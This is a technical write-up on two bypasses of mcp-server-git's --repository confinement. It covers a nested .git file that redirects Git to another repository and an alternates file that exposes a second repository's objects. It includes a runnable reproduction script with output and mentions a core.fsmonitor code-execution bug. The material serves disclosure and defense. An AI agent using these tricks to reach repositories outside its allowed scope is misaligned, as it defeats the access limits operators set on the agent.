Why mcp-server-git checks the .git directory after –repository
mcp-server-git is the Git server from the Model Context Protocol reference servers. The Model Context Protocol (MCP) is the standard way for an AI coding agent to call outside tools, and a server is a program that offers some. This one gives the agent tools such as git_status, git_commit and git_reset, and each tool takes a repo_path argument naming the repository to act on. Starting the server with --repository /work/app is supposed to keep every call inside /work/app. Checking the path string is not enough to do that, because a two-line file inside the repository can make Git operate on a different one.
Two security advisories published on November 11, 2026 show the gap. GHSA-q74p-4wrc-q7w6 covers an incomplete fix for the confinement check, and GHSA-6hqx-gqrx-c5r2 covers a separate code-execution bug. Both are fixed in release 2026.11.11. The trace that follows covers the confinement check in that release, with both bypasses rerun against 2026.11.4 and 2026.11.11.
Verified by running the published mcp-server-git 2026.11.4 and 2026.11.11 packages (Python 3.12.3, GitPython 3.2.1, Git 2.50.1) and by reading the source at commit e1dc4b1. The runs call the server’s own validation functions in the same order as its open_repo. They do not go through an MCP client.
Without the flag there is no boundary
The server’s --help says that without --repository, “every repository the server process can reach is in scope.” This has been a complaint since early 2025. Issue #604, opened by joshstrange on February 7, 2025, reported that the server “does not restrict repo paths to the repo specified.” The maintainer closed it as not planned on October 19, 2026, writing “Closing: superseded by the v2 release.” The v2 release is a rebuild of the reference servers, and in it --repository does confine each repo_path.
A config without the flag therefore lets a tool call name any repository the server’s user can read.
Check one: the path that was passed
open_repo begins with validate_repo_path. It resolves the requested path and the allowed root (following symlinks) and raises unless the first is inside the second. A repo_path of /work/app/../other, or a symlink inside the repository pointing at /work/other, fails here. Source
This check only sees the string the caller supplied. Git decides for itself which repository a directory belongs to, and files inside the directory can change that answer.
Check two: where Git actually opened
After validate_repo_path, open_repo opens the repository, runs harden_repo (which turns off config keys that make Git run programs, such as core.fsmonitor), and calls validate_opened_repo. Source That function asks git rev-parse and GitPython for the working tree, the git directory and the common directory, and holds each to the boundary. Source The common directory is the main repository’s .git that all linked worktrees share. For an ordinary repository it is the same as the git directory.
The working tree must be inside the allowed root. The two git directories must be inside it as well, with one exception: they may be the allowed repository’s own git directory and common directory, as a pair, when opened from the allowed repository itself. The exception exists because a linked worktree’s git directory lives under main/.git/worktrees/, outside the worktree it serves. A strict “everything inside the root” rule would reject the one repository the user asked for. A test runs git_status on a linked worktree under confinement and expects success.
Reproducing both bypasses
The script below builds two repositories, main (with a linked worktree) and secret, and runs the server’s checks the way open_repo does. It uses whichever version of mcp_server_git is installed. Version 2026.11.4 has no harden_repo, so the script skips it there.
uv venv .venv-old && uv pip install --python .venv-old/bin/python mcp-server-git==2026.11.4
uv venv .venv && uv pip install --python .venv/bin/python mcp-server-git==2026.11.11
# repro.py
import subprocess, tempfile
from pathlib import Path
import git
from mcp_server_git import server as s
def sh(*a, cwd):
env = {"GIT_AUTHOR_NAME": "t", "GIT_AUTHOR_EMAIL": "t@t",
"GIT_COMMITTER_NAME": "t", "GIT_COMMITTER_EMAIL": "t@t",
"PATH": "/usr/bin:/bin:/usr/local/bin:/opt/homebrew/bin",
"HOME": tempfile.gettempdir()}
return subprocess.run(a, cwd=cwd, check=True, capture_output=True,
text=True, env=env).stdout.strip()
def open_repo(repo_path, allowed): # same steps as create_server().open_repo
path = Path(repo_path)
s.validate_repo_path(path, allowed)
repo = git.Repo(path)
if hasattr(s, "harden_repo"):
s.harden_repo(repo)
s.validate_opened_repo(repo, path, allowed)
return repo
def attempt(label, repo_path, allowed):
try:
open_repo(repo_path, allowed)
print(f"{label}: opened")
except Exception as e:
print(f"{label}: {type(e).__name__}: {str(e).replace(str(root), '<root>')}")
root = Path(tempfile.mkdtemp()).resolve()
main, wt, secret = root / "main", root / "worktree", root / "secret"
for p in (main, secret):
p.mkdir(); sh("git", "init", "-q", "-b", "main", cwd=p)
(p / "f.txt").write_text(p.name); sh("git", "add", "f.txt", cwd=p)
sh("git", "commit", "-q", "-m", f"private commit in {p.name}", cwd=p)
sh("git", "worktree", "add", "-q", "-b", "wt", str(wt), cwd=main)
(wt / "nested").mkdir()
(wt / "nested" / ".git").write_text(f"gitdir: {main / '.git'}\n")
print("== nested .git file, allowed = linked worktree")
attempt("repo_path=worktree", wt, wt)
attempt("repo_path=worktree/nested", wt / "nested", wt)
print(sh("git", "rev-parse", "--path-format=absolute", "--git-dir",
"--git-common-dir", "--show-toplevel",
cwd=wt / "nested").replace(str(root), "<root>"))
print("== alternates, allowed = main")
(main / ".git" / "objects" / "info").mkdir(exist_ok=True)
(main / ".git" / "objects" / "info" / "alternates").write_text(
f"{secret / '.git' / 'objects'}\n")
h = sh("git", "rev-parse", "HEAD", cwd=secret)
print("log in main:", sh("git", "log", "--oneline", cwd=main).split(" ", 1)[1])
print("secret's commit, read from main:",
sh("git", "log", "-1", "--format=%s", h, cwd=main))
attempt("repo_path=main", main, main)
Run .venv-old/bin/python repro.py, then .venv/bin/python repro.py. The two runs printed:
##### 2026.11.4
== nested .git file, allowed = linked worktree
repo_path=worktree: opened
repo_path=worktree/nested: opened
<root>/main/.git
<root>/main/.git
<root>/worktree/nested
== alternates, allowed = main
log in main: private commit in main
secret's commit, read from main: private commit in secret
repo_path=main: opened
##### 2026.11.11
== nested .git file, allowed = linked worktree
repo_path=worktree: opened
repo_path=worktree/nested: ValueError: Repository path '<root>/worktree/nested' uses '<root>/main/.git', which is outside the allowed repository '<root>/worktree'
<root>/main/.git
<root>/main/.git
<root>/worktree/nested
== alternates, allowed = main
log in main: private commit in main
secret's commit, read from main: private commit in secret
repo_path=main: ValueError: Repository path '<root>/main' uses '<root>/main/.git/objects/info/alternates': alternate object stores are not allowed with --repository
A .git file moves the repository
A linked worktree has a .git file in place of a directory, containing gitdir: <path>. Nothing stops a .git file in a nested directory from pointing straight at the main repository’s .git. The git rev-parse output above shows the result: the working tree is worktree/nested, inside the allowed directory, but the git directory and the common directory are both main/.git. git status, git reset, git commit and git checkout run there read and write the main repository’s index and HEAD.
Version 2026.11.4 opened it. The advisory’s explanation is that the earlier fix put the allowed repository’s git directory and common directory into one unordered set, and for a linked worktree the common directory is the main repository’s .git, so the nested file’s target was already “allowed.” Version 2026.11.11 compares each path with its own counterpart. Its test for the attack writes the nested file and expects git_reset, git_log and git_commit to fail with the message shown above while the main repository’s staged files and HEAD stay unchanged.
The message names the git directory Git used. When a confined call fails with uses '<path>', which is outside the allowed repository, the repository that was passed is not the one Git opened.
A file that adds a second object store
objects/info/alternates lists other object directories that Git reads as part of the repository. It changes none of --git-dir, --git-common-dir or --show-toplevel, which were the values 2026.11.4 checked, so the check passed. In the run above, git log in main shows only its own history, yet asking for the hash of secret’s commit from main prints that commit’s message. Any tool that accepts a revision (the advisory names git_show, git_log and git_diff) can read from the other repository the same way.
The fix, in _check_git_dir_contents, refuses any non-comment line in alternates or http-alternates. It also walks the git directory and rejects any symlink that resolves outside both the allowed root and the git directory, because a symlinked index would send git_add writes elsewhere. The symlink rejection was read from source and not run here.
The advisory lists one open gap. On Windows the walk does not recognize a directory junction as a link, a follow-up release is planned, and POSIX hosts are not affected.
Whether --repository holds against the agent
Both bypasses need the caller to write plain files inside the allowed repository: a .git file, or .git/objects/info/alternates. An agent with a file-writing tool can do that. --repository is a boundary against the agent only when the agent cannot write those paths. If the same agent can edit arbitrary files in the repository, treat the flag as defense in depth and run the server as a user that cannot reach anything that must not be lost.
Run 2026.11.11 or later. The same release fixes the core.fsmonitor bug in GHSA-6hqx-gqrx-c5r2, where git_status, a read-only tool, could run a program named in the repository’s own .git/config. The advisory rates it High (CVSS 7.8) and says the only workaround is upgrading.
That advice would change if the server stopped following .git files itself, or if the MCP client passed the repository as a connection-level root rather than a per-call argument. Neither holds in this release.